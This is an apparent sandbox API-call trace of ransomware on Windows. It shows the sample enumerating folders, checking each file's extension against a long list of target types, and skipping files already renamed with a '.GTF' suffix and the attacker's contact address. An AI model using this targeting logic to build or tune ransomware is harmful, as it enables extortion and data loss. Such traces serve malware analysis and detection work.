	[0062.086] lstrlenW (lpString=".odm") returned 4
	[0062.086] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".odp") returned 4
	[0062.086] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0062.086] lstrlenW (lpString=".ods") returned 4
	[0062.086] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".oft") returned 4
	[0062.087] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".one") returned 4
	[0062.087] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".onepkg") returned 7
	[0062.087] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0062.087] lstrlenW (lpString=".onetoc2") returned 8
	[0062.087] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0062.087] lstrlenW (lpString=".opt") returned 4
	[0062.087] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".oqy") returned 4
	[0062.087] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".orf") returned 4
	[0062.087] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".p12") returned 4
	[0062.087] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".p7b") returned 4
	[0062.087] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".p7c") returned 4
	[0062.087] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pam") returned 4
	[0062.087] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pbm") returned 4
	[0062.087] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pct") returned 4
	[0062.087] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pcx") returned 4
	[0062.087] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pdd") returned 4
	[0062.087] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pdf") returned 4
	[0062.087] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pdp") returned 4
	[0062.087] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pef") returned 4
	[0062.087] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0062.087] lstrlenW (lpString=".pem") returned 4
	[0062.087] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pff") returned 4
	[0062.088] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pfm") returned 4
	[0062.088] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pfx") returned 4
	[0062.088] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pgm") returned 4
	[0062.088] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".php") returned 4
	[0062.088] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".php3") returned 5
	[0062.088] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".php4") returned 5
	[0062.088] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".php5") returned 5
	[0062.088] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".phtml") returned 6
	[0062.088] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0062.088] lstrlenW (lpString=".pict") returned 5
	[0062.088] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".pl") returned 3
	[0062.088] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0062.088] lstrlenW (lpString=".pls") returned 4
	[0062.088] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pm") returned 3
	[0062.088] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0062.088] lstrlenW (lpString=".png") returned 4
	[0062.088] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pnm") returned 4
	[0062.088] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".pot") returned 4
	[0062.088] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0062.088] lstrlenW (lpString=".potm") returned 5
	[0062.088] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".potx") returned 5
	[0062.088] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0062.088] lstrlenW (lpString=".ppa") returned 4
	[0062.088] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".ppam") returned 5
	[0062.089] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0062.089] lstrlenW (lpString=".ppm") returned 4
	[0062.089] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".pps") returned 4
	[0062.089] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".ppsm") returned 5
	[0062.089] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0062.089] lstrlenW (lpString=".ppt") returned 4
	[0062.089] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".pptm") returned 5
	[0062.089] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0062.089] lstrlenW (lpString=".pptx") returned 5
	[0062.089] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0062.089] lstrlenW (lpString=".prn") returned 4
	[0062.089] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".ps") returned 3
	[0062.089] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0062.089] lstrlenW (lpString=".psb") returned 4
	[0062.089] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".psd") returned 4
	[0062.089] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".pst") returned 4
	[0062.089] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".ptx") returned 4
	[0062.089] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".pub") returned 4
	[0062.089] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0062.089] lstrlenW (lpString=".pwm") returned 4
	[0062.089] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0062.089] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4afffb, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4afffb, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c5487e2, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="OOBE_2~1.GTF")) returned 1
	[0062.089] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 1
	[0062.090] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c4d601c, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c4d601c, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c4d601c, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="PARTNE~1.GTF")) returned 0
	[0062.090] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0062.090] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.090] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0062.090] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.090] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x812088
	[0062.090] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.090] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0062.090] FindNextFileW (in: hFindFile=0x812088, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b720eb8, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b720eb8, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b746982, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="GETCUR~1.GTF")) returned 1
	[0062.090] lstrlenW (lpString="GetCurrentRollback.ini.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 64
	[0062.090] lstrlenW (lpString=".1cd") returned 4
	[0062.090] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".3ds") returned 4
	[0062.091] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".3fr") returned 4
	[0062.091] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".3g2") returned 4
	[0062.091] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".3gp") returned 4
	[0062.091] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".7z") returned 3
	[0062.091] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0062.091] lstrlenW (lpString=".accda") returned 6
	[0062.091] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".accdb") returned 6
	[0062.091] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".accdc") returned 6
	[0062.091] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".accde") returned 6
	[0062.091] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".accdt") returned 6
	[0062.091] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".accdw") returned 6
	[0062.091] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0062.091] lstrlenW (lpString=".adb") returned 4
	[0062.091] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".adp") returned 4
	[0062.091] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai") returned 3
	[0062.091] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai3") returned 4
	[0062.091] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai4") returned 4
	[0062.091] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai5") returned 4
	[0062.091] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai6") returned 4
	[0062.091] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0062.091] lstrlenW (lpString=".ai7") returned 4
	[0062.092] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".ai8") returned 4
	[0062.092] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".anim") returned 5
	[0062.092] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0062.092] lstrlenW (lpString=".arw") returned 4
	[0062.092] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".as") returned 3
	[0062.092] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0062.092] lstrlenW (lpString=".asa") returned 4
	[0062.092] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".asc") returned 4
	[0062.092] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".ascx") returned 5
	[0062.092] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0062.092] lstrlenW (lpString=".asm") returned 4
	[0062.092] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".asmx") returned 5
	[0062.092] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0062.092] lstrlenW (lpString=".asp") returned 4
	[0062.092] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".aspx") returned 5
	[0062.092] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0062.092] lstrlenW (lpString=".asr") returned 4
	[0062.092] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".asx") returned 4
	[0062.092] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".avi") returned 4
	[0062.092] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".avs") returned 4
	[0062.092] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".backup") returned 7
	[0062.092] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0062.092] lstrlenW (lpString=".bak") returned 4
	[0062.092] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".bay") returned 4
	[0062.092] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0062.092] lstrlenW (lpString=".bd") returned 3
	[0062.093] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0062.093] lstrlenW (lpString=".bin") returned 4
	[0062.093] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".bmp") returned 4
	[0062.093] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".bz2") returned 4
	[0062.093] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".c") returned 2
	[0062.093] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0062.093] lstrlenW (lpString=".cdr") returned 4
	[0062.093] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cer") returned 4
	[0062.093] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cf") returned 3
	[0062.093] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0062.093] lstrlenW (lpString=".cfc") returned 4
	[0062.093] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cfm") returned 4
	[0062.093] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cfml") returned 5
	[0062.093] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0062.093] lstrlenW (lpString=".cfu") returned 4
	[0062.093] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".chm") returned 4
	[0062.093] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cin") returned 4
	[0062.093] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".class") returned 6
	[0062.093] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0062.093] lstrlenW (lpString=".clx") returned 4
	[0062.093] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".config") returned 7
	[0062.093] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0062.093] lstrlenW (lpString=".cpp") returned 4
	[0062.093] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0062.093] lstrlenW (lpString=".cr2") returned 4
	[0062.093] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".crt") returned 4
	[0062.094] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".crw") returned 4
	[0062.094] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".cs") returned 3
	[0062.094] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0062.094] lstrlenW (lpString=".css") returned 4
	[0062.094] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".csv") returned 4
	[0062.094] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".cub") returned 4
	[0062.094] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dae") returned 4
	[0062.094] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dat") returned 4
	[0062.094] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".db") returned 3
	[0062.094] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0062.094] lstrlenW (lpString=".dbf") returned 4
	[0062.094] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dbx") returned 4
	[0062.094] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dc3") returned 4
	[0062.094] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dcm") returned 4
	[0062.094] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dcr") returned 4
	[0062.094] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".der") returned 4
	[0062.094] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dib") returned 4
	[0062.094] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dic") returned 4
	[0062.094] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".dif") returned 4
	[0062.094] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0062.094] lstrlenW (lpString=".divx") returned 5
	[0062.095] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0062.095] lstrlenW (lpString=".djvu") returned 5
	[0062.095] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0062.095] lstrlenW (lpString=".dng") returned 4
	[0062.095] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0062.095] lstrlenW (lpString=".doc") returned 4
	[0062.095] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0062.095] lstrlenW (lpString=".docm") returned 5
	[0062.095] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0062.095] lstrlenW (lpString=".docx") returned 5
	[0062.095] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0062.095] lstrlenW (lpString=".dot") returned 4
	[0062.095] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0062.095] lstrlenW (lpString=".dotm") returned 5
	[0062.095] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0062.095] lstrlenW (lpString=".dotx") returned 5
	[0062.095] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0062.096] lstrlenW (lpString=".dpx") returned 4
	[0062.096] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dqy") returned 4
	[0062.096] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dsn") returned 4
	[0062.096] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dt") returned 3
	[0062.096] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0062.096] lstrlenW (lpString=".dtd") returned 4
	[0062.096] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dwg") returned 4
	[0062.096] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dwt") returned 4
	[0062.096] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".dx") returned 3
	[0062.096] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0062.096] lstrlenW (lpString=".dxf") returned 4
	[0062.096] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".edml") returned 5
	[0062.096] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0062.096] lstrlenW (lpString=".efd") returned 4
	[0062.096] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".elf") returned 4
	[0062.096] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".emf") returned 4
	[0062.096] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".emz") returned 4
	[0062.096] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".epf") returned 4
	[0062.096] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".eps") returned 4
	[0062.096] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0062.096] lstrlenW (lpString=".epsf") returned 5
	[0062.096] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0062.096] lstrlenW (lpString=".epsp") returned 5
	[0062.096] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0062.096] lstrlenW (lpString=".erf") returned 4
	[0062.096] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".exr") returned 4
	[0062.097] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".f4v") returned 4
	[0062.097] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".fido") returned 5
	[0062.097] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0062.097] lstrlenW (lpString=".flm") returned 4
	[0062.097] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".flv") returned 4
	[0062.097] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".frm") returned 4
	[0062.097] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".fxg") returned 4
	[0062.097] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".geo") returned 4
	[0062.097] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".gif") returned 4
	[0062.097] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".grs") returned 4
	[0062.097] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0062.097] lstrlenW (lpString=".gz") returned 3
	[0062.097] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0062.097] lstrlenW (lpString=".h") returned 2
	[0062.097] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0062.097] lstrlenW (lpString=".hdr") returned 4
	[0062.097] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0062.097] lstrlenW (lpString=".hpp") returned 4
	[0062.097] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0062.097] lstrlenW (lpString=".hta") returned 4
	[0062.097] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0062.097] lstrlenW (lpString=".htc") returned 4
	[0062.097] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0062.097] lstrlenW (lpString=".htm") returned 4
	[0062.097] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0062.097] lstrlenW (lpString=".html") returned 5
	[0062.097] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0062.097] lstrlenW (lpString=".icb") returned 4
